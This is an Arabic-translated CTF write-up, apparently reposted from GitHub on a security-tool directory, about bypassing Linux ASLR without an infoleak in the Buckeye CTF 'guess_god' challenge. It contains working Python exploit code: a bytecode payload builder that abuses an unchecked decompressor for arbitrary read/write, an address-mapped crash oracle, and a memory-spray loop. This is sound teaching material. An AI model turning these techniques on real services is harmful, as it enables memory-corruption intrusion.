Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/nick0ve/how-to-bypass-aslr-on-linux-x86_64
ExploitationCTFLearning & EducationBinary Exploitation
GitHubnick0ve/how-to-bypass-aslr-on-linux-x86_64

how-to-bypass-aslr-on-linux-x86_64

ASLR bypass without infoleak

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
16717منذ 4 سنواتتمت المراجعة من قبل Kitploit

كسر ASLR بتقنية 64 بت على Linux x86-64

في هذا المقال، سأناقش تطبيق التقنية التي وصفها Samuel Groß في Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass، لتجاوز ASLR على Linux x86_64.

لإظهار ذلك، سأحل تحديًا من نوع pwnable من Buckeye CTF، اسمه guess_god.

سأحاول إبقاء المحتوى مناسبًا للمبتدئين قدر الإمكان، لذا لا تتردد في تخطي أي قسم إذا كنت تشعر بالثقة الكافية وتريد فقط رؤية الاستغلال.

0. المقدمة


لم ألعب CTF، لكنني أصبحت مهتمًا بالتحدي قبل حوالي ساعتين من نهاية الـ CTF بفضل Guray00، الذي كان يطلب المساعدة في ديسكورد fibonhack بشأن بعض الأمور المتعلقة بالتشفير.

لم أستطع مساعدته، لكنني ألقيت نظرة على تحديات pwnable، ورأيت أنه سيكون من الجيد فهم منشور P0 على المدونة، وربما الحصول على تلك المكافأة.

1. ASLR وكيفية تجاوزها

1.1 ما هو ASLR؟

التوزيع العشوائي لمساحة العناوين (ASLR) هي تقنية أمن حاسوبي تتضمن الوضع العشوائي للعنوان الأساسي للملف التنفيذي ومواقع المكتبات، والـ heap، والـ stack في مساحة عناوين العملية.

1.2 ASLR على Linux

على Linux، يمكنك فحص خرائط (mappings) عملية ما بمعرفة الـ pid الخاص بها من خلال procfs، عن طريق قراءة الملف /proc/<pid>/maps.

إذا كنت عملية وتريد معرفة خرائط الذاكرة الخاصة بك، يمكنك قراءة /proc/self/maps.

على سبيل المثال، يمكنك محاولة قراءة /proc/self/maps باستخدام cat:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@kitploit:~
### أنماط خرائط الذاكرة

إذا قمت بذلك عدة مرات، يمكنك أن تستنتج ما يلي:
* يجب أن يكون عنوان القاعدة PIE للثنائي في النطاق 0x00005500_00000000-0x00005700_00000000، مما يعني 2 تيرابايت من العناوين الممكنة.
* الكومة قريبة من الثنائي.
* تقع المكتبات في النطاق 0x00007f00_00000000 - 0x00007fff_ffffffff، أي 1 تيرابايت من العناوين الممكنة.
* تذهب المكدس (في معظم الأحيان) إلى النطاق 0x00007ffc_00000000 - 0x00007fff_ffffffff، أي 16 غيغابايت من العناوين الممكنة.
* النطاق 0xffffffffff600000 - 0xffffffffff601000 يكون دائمًا مُخططًا، يمكنك قراءة [هذه المقالة](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) إذا كنت فضوليًا بشأن ما هو.

## 1.3 كيفية تجاوز ASLR بدون تسريب معلومات

لنناقش ما يمكنك فعله لتجاوز ASLR عندما لا يكون تسريب المعلومات ممكنًا.

هذه محاولتي لتلخيص ما استخلصته من قراءة تدوينة Saelo.

لتجاوز ASLR تحتاج إلى:
* تقنية رش الذاكرة، والتي تتيح لك تعيين ذاكرة متجاورة بحجم معين، على نطاق معين من العناوين.
  
  كما يقول هناك طريقتان للقيام بذلك:
  1. عن طريق إساءة استخدام تسريب ذاكرة (وليس تسريب معلومات!)، وهو خطأ يُنسى فيه جزء من الذاكرة ولا يتم تحريره أبدًا، وتشغيله عدة مرات حتى يتم تسريب المقدار المطلوب من الذاكرة.
  2. عن طريق إيجاد وإساءة استخدام "أداة تضخيم": قطعة من الكود تأخذ جزءًا موجودًا من البيانات وتنسخه، ربما عدة مرات، مما يسمح للمهاجم برش كمية كبيرة من الذاكرة بإرسال عدد صغير نسبيًا من البايتات فقط.
* أوراكل `isAddressMapped`، الذي يخبرك عند إعطائه عنوانًا ما سواء كان ذلك العنوان مُخططًا أم لا.

### إثبات المفهوم لتجاوز ASLR على لينكس

لنجرب إعادة إنتاج إثبات المفهوم الخاص بـ saelo لكسر ASLR بالكامل على لينكس.

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> إثبات المفهوم الخاص بـ saelo</i> <p/> <br/>

على لينكس، الأمر ليس بهذه السهولة، فمن الممكن كسر ASLR بالكامل فقط إذا كنت قادرًا على تخصيص 16 تيرابايت من الذاكرة.```C
#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 64gb
    size_t size = 0x1000000000;

    // 16TB allocations
    for (int i = 0; i < 256; i++) {
        void *mem = malloc(size); // this ends up calling mmap
        if (!mem) {
            puts("Failed");
            return 1;
        }
        printf("%p\n", mem);
    }

    unsigned int *mem = (void*)0x7f0000000000ULL;
    *mem = 0x41414141;
    printf("R/W to %p: %x\n", mem, *mem);

    return 0;
}

ملاحظة حول تخصيص الذاكرة في glibc

من ملاحظات man malloc:

  • عادةً، تخصّص malloc() الذاكرة من الكومة، وتضبط حجم الكومة حسب الحاجة باستخدام sbrk(2). عند تخصيص كتل ذاكرة أكبر من MMAP_THRESHOLD بايت، يخصص تطبيق glibc للدالة malloc() الذاكرة كتعيين خاص مجهول باستخدام mmap(2). قيمة MMAP_THRESHOLD هي 128 كيلوبايت افتراضيًا، ويمكن ضبطها باستخدام mallopt(3). التخصيصات التي تتم باستخدام mmap(2) لا تتأثر بحد الموارد RLIMIT_DATA (انظر getrlimit(2)).

إذن void *mem = malloc(size) سينتهي به الأمر إلى استدعاء mmap(size + malloc_metadata_size, ...)

بما أن المكتبات تُعيّن في العملية عبر mmap بواسطة ld، فإن هذه التخصيصات ستنتهي بالقرب من المكتبات.

خدعة عبور الحدود

إذا نظرت إلى العناوين التي يعيدها malloc يمكنك فهم ما يحدث بشكل أفضل. نصيحة احترافية: انظر إلى البايتات الأكثر أهمية.

يستغل الـ poc حقيقة أنه عند نقطة ما، يتغير البايت الأكثر أهمية للعنوان المُعاد من 7F إلى 7E، وبما أن التخصيصات متجاورة، فلا بد أن يكون هناك شيء داخل هذا النطاق. (نعم، نحن نطبّق Bolzano-Weirstress theorem لحل هذه المسألة!)

2 التحدي

لحسن الحظ، تحتوي حزمة zip على الملفات الثنائية والكود المصدري وملف dockerfile لإعادة إنتاج نفس بيئة الخادم البعيد.


2.1 الوصول الأولي

من الجيد دائمًا اكتساب بعض المعرفة حول البيئة، فلنستعرض الملفات ونأخذ بعض الملاحظات.

  • يضع jail.cfg بعض القيود، دعونا لا ننسَ تلك الحدود لأنها قد تفسد الاستغلال: ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB
    root@kitploit:~
  • من Dockerfile يمكننا تعلم بعض الأمور المثيرة للاهتمام:
    1. بناء وتثبيت oatpp 1.2.5، ربما توجد ثغرات مفيدة في هذه النسخة تحديداً؟

      root@kitploit:~
      # Install oatpp
      RUN git clone https://github.com/oatpp/oatpp.git
      RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
      
    2. يتم بناء التحدي من الصفر

      root@kitploit:~
      WORKDIR /home/ctf/challenge/src/
      RUN mkdir -p src/build && cd src/build && cmake .. && make
      RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/
      

      قد تكون هذه مشكلة، لذا دعنا ننسخ الملفات الثنائية الموزعة بدلاً من ذلك.

      root@kitploit:~
      COPY bins/flag_server-exe /home/ctf/challenge/
      COPY bins/libkylezip.so /home/ctf/challenge/
      
  • وآخر شيء، تحقق من الحمايات الخاصة بالملفات الثنائية المقدمة


    رائع، libkylezip.so مترجم مع Partial RELRO، وهذا يعني أن GOT قابل للكتابة، ضع ذلك في الاعتبار عندما نريد الحصول على تنفيذ الأكواد.```bash

docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container

docker ps # list containers docker exec -it # exec COMMAND into the container

root@kitploit:~
بعد تنفيذ `docker-compose build` يمكنك تشغيل `docker-compose up` لبدء الحاوية، ثم الاتصال بالتحدي باستخدام `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/> 

# 3. تحليل الكود المصدري

الآن بعد أن أصبح لدينا بعض المعرفة الأساسية حول ما يجب علينا فعله لتجاوز ASLR، دعونا ننظر إلى الكود المصدري، مع الأخذ في الاعتبار أننا نريد:
* طريقة لرشّ الذاكرة في نطاقات معروفة من الذاكرة
* أوراكل isAddrMapped

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> مجلد الكود المصدري </i><p/> 

إنه في الغالب كود لصق لتشغيل خادم ويب oatpp، في الواقع الملفات المهمة التي سنقوم بتحليلها هي:
* src/controller/MyController.*
* kylezip/decompress.*

## 3.1 MyController.*

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/> 

هناك 3 نقاط نهاية:
* `/`
* `GET /files/{fileId}` -> تنزيل ملف تم رفعه مسبقًا، وإذا كان extract صحيحًا، قم باستخراجه قبل تنزيله.
* `POST /upload/{fileId}` -> رفع ملف مع إعطاء {fileId}.

ودالة واحدة منفّذة في `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) 

أي:

  • عيّن to_open إلى {file_id} أو {file_id}.unkyle ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str();

    root@kitploit:~
  • إذا كانت هذه هي المرة الأولى التي نطلب فيها استخراج {file_id}، فإنه يستدعي فك الضغط عليه، والذي سيكتب الملف المُفكوك ضغطه الخاص بـ {file_id} إلى {file_id}.unkyle. ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL;

    root@kitploit:~
    /* Need to create decompressed version of file
     * Kyle gave me a buggy library so we are going to fork
     * in case we crash the web server will still stay up.
     */
    pid_t p = fork();
    if (p == 0) {
      decompress(filename);
      exit(0);
    } else {
      waitpid(p, NULL, 0);
    }
    
    
    fd = open(to_open.c_str(), O_RDONLY);
    if (fd == -1) {
      return NULL;
    }
    

    }

    root@kitploit:~
  • في النهاية قم بعمل mmap للنتيجة في الذاكرة. ```C struct stat sb;

ملاحظات

  • تستدعي الدالة fork() إنشاء عملية جديدة عن طريق تكرار العملية المستدعية، وفي وقت استدعاء fork() يكون محتوى مساحتي الذاكرة متطابقًا.

    لذا، إذا تمكنا من تحويل decompress() إلى أوراكل (oracle) يقوم بـ:

    • الانهيار عند العناوين غير الصالحة
    • عدم الانهيار عند العناوين الصالحة

    يمكننا استخدام هذه البدائية لاستنتاج مساحة الذاكرة الخاصة بالعملية الأصل (parent process).

  • يوجد استدعاء للدالة mmap في العملية الأصل: ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

root@kitploit:~
إذا تمكنا من التحكم في `sb.st_size`، وهو حجم الملف بعد فك الضغط، فسنتمكن بسهولة من تحويله إلى بدائية رش الذاكرة.

## 3.2 decompress.*

### decompress()```C
int decompress(const char *fname)
  • يقوم بتعيين ملف الإدخال إلى العنوان 0x42069000000.
  • يقوم بتعيين ملف الإخراج إلى العنوان 0x13371337000.
  • يستدعي do_decompress() التي تُنجز عملية فك الضغط.

من المتوقع أن يكون الملف بالتنسيق التالي:

الإزاحةالاسمالنوعالوصف
+0hmagicuint64قيمة سحرية، ومن المتوقع أن تكون 0x0123456789abcdef
+8hfilesizeuint64حجم الملف بعد فك الضغط

do_decompress()```C

static void do_decompress(char *out, char *in, size_t insize)

root@kitploit:~
يمكنك اعتبار هذه الدالة *آلة افتراضية* بسيطة، تقوم بتنفيذ البايت كود المشار إليه بواسطة `in` وتكتب المخرجات إلى المخزن المؤقت المشار إليه بواسطة `out`. 

`in` يشير إلى `{file_id}` لدينا.

`out` يشير إلى `{file_id.unkyle}`.

تحتوي هذه الآلة الافتراضية على 4 رموز تشغيل:
* 0 -> NOP
* 1 -> STORE(u8 b)
  
  يكتب `b` إلى `out`، ويزيد `out` بمقدار `1`.
  
  تنفيذ رمز التشغيل:  ```C
  case 1: {
      // Write byte
      uint8_t b = in[cur++];
      *(out++) = b;
      break;
  }
  • 2 -> SEEK(u64 off)

    قم بتعيين out إلى out + off.

    out و off قيمتان 64-بت، لذا فإن out = out+off يعادل out = (out+off) % MAX_64BIT_VALUE، وهذا يُسمى تجاوز سعة عدد صحيح ويمكننا استغلال هذا السلوك للوصول إلى أي قيمة 64-بت. مثال: ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64

    We are at 0xffffffff, what can we add to reach 0?

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    Result = 0xffffffff00000001

    That's the same as doing this

    M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    root@kitploit:~

تنفيذ Opcode: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }

root@kitploit:~
* 3 -> LOAD(off, size). 
انسخ `size` بايت من `out - off` إلى `out`، ثم زد `out` بمقدار 8.

تنفيذ Opcode:  ```C
case 3: {
  // Copy some previously written bytes
  uint64_t off = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  uint64_t count = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  memcpy(out, out-off, count);
  out += count;
  break;
}

لا توجد أي فحوصات للحدود في أي من العمليات، مما يمنحنا بدائيتين مفيدتين:

  • Read What Where، عبر استغلال SEEK+LOAD
  • Write What Where: عبر استغلال `SEEK+STORE````py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1

class CompressedFile(): slots = ['cur', 'content', 'out']

root@kitploit:~
def __init__(self, filesize):
    self.cur = 16
    self.content = b''
    self.content += p64(0x0123456789abcdef) # magic
    self.content += p64(filesize) # file size
    self.out = OUT_ADDR

def nop(self):
    self.content += b'\x00'
    self.cur += 1

def write(self, b: bytes):
    assert len(b) == 1

    self.content += b'\x01' + b
    self.cur += 2
    self.out += 1

def seek(self, off):
    self.content += b'\x02'
    self.content += p64(off)
    self.cur += 9

def memcpy(self, off, count):
    # memcpy(out, out-off, count);
    self.content += b'\x03'
    self.content += p64(off)
    self.content += p64(count)
    self.cur += 17
root@kitploit:~
# 4. التفاعل مع الثنائي

قبل الغوص في مرحلة الاستغلال، من الجيد دائمًا بناء شيء يسمح لك بالتفاعل بسهولة مع الملف الثنائي، لتجنب إضاعة الوقت.```py
import requests

def uploadFile(blob: bytes, fileid: int):
    assert (fileid < (1<<31) - 1)

    multipart_form_data = {
        'file': (f'payload_{fileid}', blob),
    }

    res = requests.post(
        f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
        files=multipart_form_data
    )

    return res

def getFile(fileid: int, extract="true"):
    res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
    return res

فحص خرائط الذاكرة الخاصة بالتحدي

كان ذلك مهمًا جدًا بالنسبة لي عند محاولة حلّ التحدي؛ فقد حدّقت في خرائط الذاكرة لوقت طويل.

وللقيام بذلك، يمكنك تشغيل نسخة محلية من التحدي وقراءة خرائط العملية بعد تنفيذ بعض العمليات.


4.2 أوراكل isAddrMapped

لدينا بدائية قراءة من أيّ مكان (read what where)، لذا فإن بناء أوراكل isAddressMapped ليس بالأمر الصعب إطلاقًا.

طريقتي في ذلك كانت بناء هذا البايت كود (bytecode):

  • memcpy(out, targetAddress, 1)
  • write(b'A')

إذا لم تكن targetAddress معيّنة (غير مُخطَّطة) في الذاكرة، ينهار البرنامج الفرعي (segfault) عند تنفيذ memcpy، مما يعطينا ملفًا مفكوك الضغط مليئًا بالبايتات الصفرية (null bytes).

أما إذا كانت targetAddress معيّنة في الذاكرة، فإن الملف المفكوك الضغط يحتوي على b'\x41' كبايت ثانٍ.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)

root@kitploit:~
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')

uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41

return isMapped
root@kitploit:~
## 4.3 أولية Memory Spray

يمكننا التحكم الكامل في حجم الملف المفكوك، ونحصل على mmap بهذا الحجم في [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).

في استغلالي استخدمت دالة `isAddrMapped` وغيّرت حجم الملف.

على سبيل المثال، لنحاول تخصيص كتلة متجاورة بحجم = 0x4000000 = 64mb```py
isAddrMapped(IN_ADDR, 0, 0x4000000)

هذه هي النتيجة:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...

root@kitploit:~
إذا حاولت القيام بذلك مرة أخرى:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)

هذه هي النتيجة:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle

root@kitploit:~
رائع! لن تحتوي التخصيصات المتعددة على فجوات.

## 4.4 ما مقدار الذاكرة التي يجب رشّها؟

كما ترى من [هذا الـ POC](#poc-of-aslr-bypass-on-linux)، فإن الحجم المثالي للذاكرة المعيّنة المتجاورة سيكون 16 تيرابايت.

لسوء الحظ، إذا حاولت تخصيص 16 تيرابايت من الذاكرة على الخادم البعيد، فسيفشل استدعاء mmap، لأن [nsjail يحدّ من هذا](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).

بعد بعض التجربة والخطأ، اكتشفت أنني أستطيع رشّ حوالي 3840mb من الذاكرة، بهذا الكود:```py
size =    0x000004000000
for i in range(0, 60):
    print ('.', end='')
    isAddrMapped(IN_ADDR, i, size)

ستكون تعيينات الذاكرة الناتجة شيئًا كهذا:

نتيجة Memory Spray```

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0

... Libraries: ...

